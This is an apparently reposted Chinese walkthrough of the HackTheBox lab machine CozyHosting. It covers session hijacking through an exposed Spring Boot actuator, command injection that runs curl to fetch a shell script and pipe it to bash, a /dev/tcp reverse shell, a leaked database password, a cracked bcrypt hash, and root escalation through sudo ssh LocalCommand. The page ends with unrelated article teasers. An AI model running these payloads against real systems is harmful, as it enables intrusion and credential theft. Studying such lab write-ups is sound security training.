HackTheBox-Machines--CozyHosting

文章目录

  • 1 端口扫描
  • 2 测试思路
  • 3 访问web站点
  • 4 横向移动
  • 5 权限提升


CozyHosting 测试过程


1 端口扫描


nmap -sC -sV 10.129.229.88

在这里插入图片描述


2 测试思路


目标开启了80和22端口,所以出发点从80端口开始。

  1.通过在web网站寻找漏洞,获取到用户名和密码,远程连接22端口获取权限;
  2.通过在web网站寻找漏洞,站点中存在可以获取权限的漏洞。

echo "10.129.229.88 cozyhosting.htb" | sudo tee -a /etc/hosts

3 访问web站点


在这里插入图片描述

  1.在web站点中发现一个登录页面,爆破未成功,进行其他尝试

在这里插入图片描述

  2.使用gobuster进行目录爆破

在这里插入图片描述

  发现Whitelabel Error Page 页面,为springboot的报错页面

在这里插入图片描述

在这里插入图片描述

  3.尝试使用springboot的字典对网站进行爆破

./gobuster dir -u http://cozyhosting.htb/ -w spring-boot.txt

在这里插入图片描述

  扫描到的目录暴露了执行器端点,在http://cozyhosting.htb/actuator/sessions,可以看到kanderson的会话标识符

在这里插入图片描述

  4.通过kanderson的会话标识符进行登录,替换JESSIONID的值,回车登录

在这里插入图片描述

  5.在页面底部,发现表单,输入数据观察响应包发现命令注入,使用sh命令反弹shell

在这里插入图片描述

在这里插入图片描述

  echo 命令写入 shell.sh 文件

echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.150/4444 0>&1' > shell.sh
# 本地开启http server
python3 -m http.server 8000
# 开启监听
ncat -lnvp 4444
# 执行;${IFS}定界符在bash和sh等shell中,默认为空格。
test;curl${IFS}http://10.10.14.150:8000/shell.sh|bash;

在这里插入图片描述

在这里插入图片描述

# 创建稳定pty
script /dev/null -c bash

4 横向移动


  1.发现cloudhosting-0.0.1.jar文件,并对其进行解压
在这里插入图片描述

  在/BOOT-INF/classes/application.properties文件中发现postgresql数据库的密码

在这里插入图片描述

  2.postgresql数据库中信息收集,使用Vg&nvzAQ7XxR连接postgresql

# 使用Vg&nvzAQ7XxR连接postgresql
psql -h 127.0.0.1 -U postgres

在这里插入图片描述

# 列出数据库,发现cozyhosting、postgres、template0等数据库
\list

在这里插入图片描述

# 连接数据库
\connect cozyhosting
# 列出数据库中的表,发现users表
\dt

在这里插入图片描述

# 列出users表中的数据,发现admin及其hash密码
select * from users;

在这里插入图片描述

  3.破解hash密码

# 识别hash算法
hashid '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
# 将hash值写入文件
echo '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm' > hash
# 破解hash
hashcat hash -m 3200 rockyou.txt  

在这里插入图片描述

  4.使用ssh连接,josh:manchesterunited

# 查看passwd文件发现用户:josh
cat /etc/passwd

在这里插入图片描述

ssh josh@10.129.229.88

在这里插入图片描述

在这里插入图片描述

5 权限提升


# 显示权限
sudo -l 

   1.执行权限发现User josh may run the following commands on localhost: (root) /usr/bin/ssh *,可以以root权限运行/usr/bin/root。

在这里插入图片描述

   2.ssh中存在-o选项,通过指定PermitLocalCommand=yes,在ssh连接成功后,可以在客户端机器执行本地命令

sudo /usr/bin/ssh -v -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash' josh@127.0.0.1

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/802516.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用GCC把C语言文件编译成Intel语法的汇编代码

2024年4月9日,周二下午 GCC默认把C语言文件编译成AT&T语法的汇编代码, GCC 提供了 -masmintel 选项来生成 Intel 风格的汇编代码, 通过如下命令可以编译成Intel语法: gcc -S -masmintel -o output.s input.c在这个命令中&a…

CSS层叠样式表学习(基础选择器)

(大家好,今天我们将继续来学习CSS(2)的相关知识,大家可以在评论区进行互动答疑哦~加油!💕) 目录 二、CSS基础选择器 2.1 CSS选择器的作用 2.2 选择器分类 2.3 标签选择器 2.…

Swift 异步序列 AsyncStream 新“玩法”以及内存泄漏、死循环那些事儿(上)

概览 异步序列(Async Sequence)是 Swift 5.5 新并发模型中的一员“悍将”,系统标准库中很多类都做了重构以支持异步序列。我们还可以用 AsyncStream 辅助结构非常方便的创建自己的异步序列。 这里我们就来一起聊聊 AsyncStream 结构&#xf…

写两个函数,分别求两个整数的最大公约数和最小公倍数,用主函数调用这两个函数,并输出结果.(两个整数由键盘输入)

#include <stdio.h> /* * 主函数&#xff1a;计算并打印两个数的最大公约数和最小公倍数 */ int main(){ // 定义计算最大公约数和最小公倍数的函数 int hcf(int,int); int lcd(int,int,int); int u,v,h,l; // u,v为输入的两个数&#xff0c;h为最大公…

基于OTA技术的工作总结

一、引言 随着互联网的飞速发展和智能化设备的普及&#xff0c;OTA&#xff08;Over-the-Air&#xff09;技术逐渐成为了软件更新、远程配置及故障诊断的核心手段。在过去的一段时间里&#xff0c;我负责了基于OTA技术的相关工作&#xff0c;现将这段时间的工作进行总结&#…

win10下使用qemu安装aarch64架构的iso镜像虚拟机

1、win下安装qemu 最新版 可在如下链接进行下载安装 QEMU for Windows – Installers (64 bit) 2、准备aarch64的iso镜像 我这里使用的是 Kylin-Server-10-SP2-aarch64-Release-Build09-20210524.iso 3、使用如下命令启动虚拟机安装 打开powershell cd C:\Program Files\…

B02、关于垃圾回收器-6.2

1、关于 GC 的分类 1.1、串行 VS 并行 按线程数分&#xff0c;可以分为串行垃圾回收器和并行垃圾回收器。 串行回收指的是在同一时间段内只允许有一个CPU用于执行垃圾回收操作&#xff0c;此时工作线程被暂停&#xff0c;直至垃圾收集工作结束。 在诸如单CPU处理器或者较小的应…

【Leetcode】2009. 使数组连续的最少操作数

文章目录 题目思路代码复杂度分析时间复杂度空间复杂度 结果总结 题目 题目链接&#x1f517; 给你一个整数数组 n u m s nums nums 。每一次操作中&#xff0c;你可以将 n u m s nums nums 中 任意 一个元素替换成 任意 整数。 如果 n u m s nums nums 满足以下条件&…

记一次项目上某系统web渗透测试

第一个信息泄露漏洞 首先在登录页忘记密码处点击查询获取用户进行抓包可以获得用户的token固定id值 第二个用户名枚举漏洞 接下来就是批量遍历出存在数据库用户id值以及用户名&#xff0c;方便后面其他测试使用。 第三弱口令漏洞 这里对于爆破没有限制&#xff0c;因此根据获…

从零开始,教你如何用Java生成微信小程序二维码

Hello大家好我是咕噜铁蛋&#xff01;你是否曾为生成二维码而烦恼过&#xff1f;别担心&#xff0c;今天我就来给你支招&#xff01;&#xff0c;我将分享如何使用Java生成微信小程序二维码的方法&#xff0c;让你轻松应对二维码生成的需求。微信小程序是一种轻量级的应用程序&…

Splunk Attack Range:一款针对Splunk安全的模拟测试环境创建工具

关于Splunk Attack Range Splunk Attack Range是一款针对Splunk安全的模拟测试环境创建工具&#xff0c;该工具完全开源&#xff0c;目前由Splunk威胁研究团队负责维护。 该工具能够帮助广大研究人员构建模拟攻击测试所用的本地或云端环境&#xff0c;并将数据转发至Splunk实例…

[ LeetCode ] 题刷刷(Python)-第1题:两数之和

题目描述 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一个元素在答案里不能重复出现。 你可以按任意…

蓝桥杯备考随手记: Java 中常用的集合类

Java中最常用的几个集合类包括ArrayList、LinkedList、HashSet、TreeSet和HashMap。 下面将详细介绍这些集合类及其方法。 ArrayList&#xff1a; 特点&#xff1a;基于数组实现&#xff0c;支持动态增长和随机访问&#xff0c;但插入和删除操作可能较慢。常见用法&#xff1a…

软件测试与康威定律的深层联系

在软件开发的世界中&#xff0c;软件测试是保证产品质量的关键步骤&#xff0c;而康威定律则提供了一个关于系统设计和组织结构如何相互影响的独特视角。本文将深入探讨软件测试的基本概念、重要性以及实施过程&#xff0c;并结合康威定律&#xff0c;分析其对软件测试实践的影…

什么是虚拟DOM(Virtual DOM),以及它在React或其他前端框架中的作用?

虚拟DOM&#xff08;Virtual DOM&#xff09;是一种在内存中以JavaScript对象的形式表示的轻量级的DOM副本。它是由React等前端框架使用的一种技术&#xff0c;用于提高页面渲染的性能和效率。 在传统的前端开发中&#xff0c;当页面中的数据发生变化时&#xff0c;通常需要直…

nginx到底是怎么工作的

工作流程 用户通过域名发出访问Web服务器的请求&#xff0c;该域名被DNS服务器解析为反向代理服务器的IP地址反向代理服务器接受用户的请求反向代理服务器在本地缓存中查找请求的内容&#xff0c;找到后直接把内容发送给用户如果本地缓存里没有用户所请求的信息内容&#xff0…

【攻防世界】题目名称-文件包含

看到 include()&#xff0c;想到文件包含&#xff0c;用php伪协议。 知识点 看到 include()&#xff0c;require()&#xff0c;include_once()&#xff0c;require_once() &#xff0c;想到文件包含&#xff0c;用php伪协议 ?filenamephp://filter/readconvert.base64-encode/…

NIO简介

nio三大组件 channel&#xff0c;buffer&#xff0c;selector channel为双向输入输出通道&#xff0c;buffer为缓存&#xff0c;selector为选择器&#xff0c;通过selector来选择线程对出现io操作的channel服务&#xff0c;可有有效的增加线程的工作效率&#xff0c;不用等待…

铁山靠之数学建模-基础篇

小黑子的数模基础篇 一、什么是数学建模1.1 数学模型分类1.2 备战准备什么1.3 组队学习路线1.4 赛前准备1.5 赛题选择1.5.1 赛题类型1.5.2 ABC赛题建议 1.6 学会查询1.6.1 百度搜索技巧1.6.2 查文献1.6.3 数据预处理 1.7 建模全过程 二、数模论文2.1 论文排版2.2 标题怎么写2.3…

看linux内核启动流程需要的arm汇编学习笔记(二)

文章目录 一、ldr1.地址偏移模式2.变基模式3.标签3.1 访问宏定义3.2 访问一个字符串3.3 访问一个data 二、ldp和stp1.双字节加载2.双字节存储3.双字节存储的后变基模式 三、位操作1. 移位2. 按位操作3. 位段插入4.位段提取5.零计数指令 四、跳转指令1. cmp比较两个数2. cmn负向…